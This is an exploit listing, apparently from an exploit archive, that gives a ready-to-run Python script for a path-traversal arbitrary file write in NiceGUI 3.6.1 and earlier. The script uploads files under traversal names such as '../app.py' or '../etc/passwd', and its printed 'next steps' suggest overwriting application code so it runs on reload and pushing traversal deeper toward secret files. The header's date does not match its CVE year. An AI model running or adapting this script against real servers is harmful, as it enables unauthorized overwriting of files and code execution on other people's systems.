Share
## https://sploitus.com/exploit?id=PACKETSTORM:220413
# Exploit Title: NiceGUI 3.6.1 - Path Traversal 
    # Author: Mohammed Idrees Banyamer
    # Instagram: @banyamer_security
    # GitHub: https://github.com/mbanyamer
    # Date: 2025-06-06
    # Tested on: NiceGUI <= 3.6.1 (Python 3.8โ€“3.12 on Linux/Windows)
    # CVE: CVE-2026-25732
    #
    # Affected Versions: <= 3.6.1 (fixed in 3.7.0)
    #
    # Type: Remote Arbitrary File Write / Path Traversal
    # Platform: Web Application (Python / NiceGUI)
    # Author Country: Jordan
    # Weakness: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
    # Attack Vector: Network
    # Privileges Required: None
    #!/usr/bin/env python3
    """
    CVE-2026-25732 โ€” NiceGUI arbitrary file write (path traversal)
    Exploits unsanitized FileUpload.name when app uses it in save path.
    
    Usage:
      python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt
      python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py
    """
    
    import sys
    import requests
    from urllib.parse import urljoin
    from pathlib import Path
    
    def exploit(target_url: str, malicious_filename: str, local_payload_path: str | Path):
        target_url = target_url.rstrip('/') + '/'
    
        try:
            with open(local_payload_path, 'rb') as f:
                payload_bytes = f.read()
        except Exception as e:
            print(f"[-] Cannot read payload file: {e}")
            sys.exit(1)
    
        files = {
            'file': (malicious_filename, payload_bytes, 'application/octet-stream')
        }
    
        print(f"[*] Target       : {target_url}")
        print(f"[*] Malicious name : {malicious_filename}")
        print(f"[*] Payload size   : {len(payload_bytes):,} bytes")
    
        try:
            # NiceGUI upload endpoint is usually the page itself (multipart POST to /)
            r = requests.post(
                target_url,
                files=files,
                timeout=12,
                allow_redirects=False
            )
    
            print(f"[+] Response     : {r.status_code} {r.reason}")
            if r.status_code in (200, 201, 204):
                print("[SUCCESS] Upload accepted โ€” file likely written")
            elif r.status_code == 413:
                print("[!] Payload too large (server limit)")
            elif r.status_code in (400, 403, 422):
                print("[!] Rejected โ€” target may be patched / not vulnerable / wrong endpoint")
            else:
                print("[?] Unexpected response โ€” check manually")
    
            print("\nSnippet of response:")
            print(r.text[:600].replace('\n', ' ').strip() + "..." if len(r.text) > 600 else r.text)
    
        except requests.RequestException as e:
            print(f"[-] Request failed: {e}")
    
        print("\nNext steps:")
        print(" โ€ข Check filesystem on target (if you have access)")
        print(" โ€ข If you overwrote app.py / main.py โ†’ wait for reload / restart")
        print(" โ€ข Try deeper traversal: '../../some/secret/file' etc.")
    
    if __name__ == '__main__':
        if len(sys.argv) != 4:
            print(__doc__)
            sys.exit(1)
    
        target = sys.argv[1]
        dest_filename = sys.argv[2]
        payload_file = sys.argv[3]
    
        exploit(target, dest_filename, payload_file)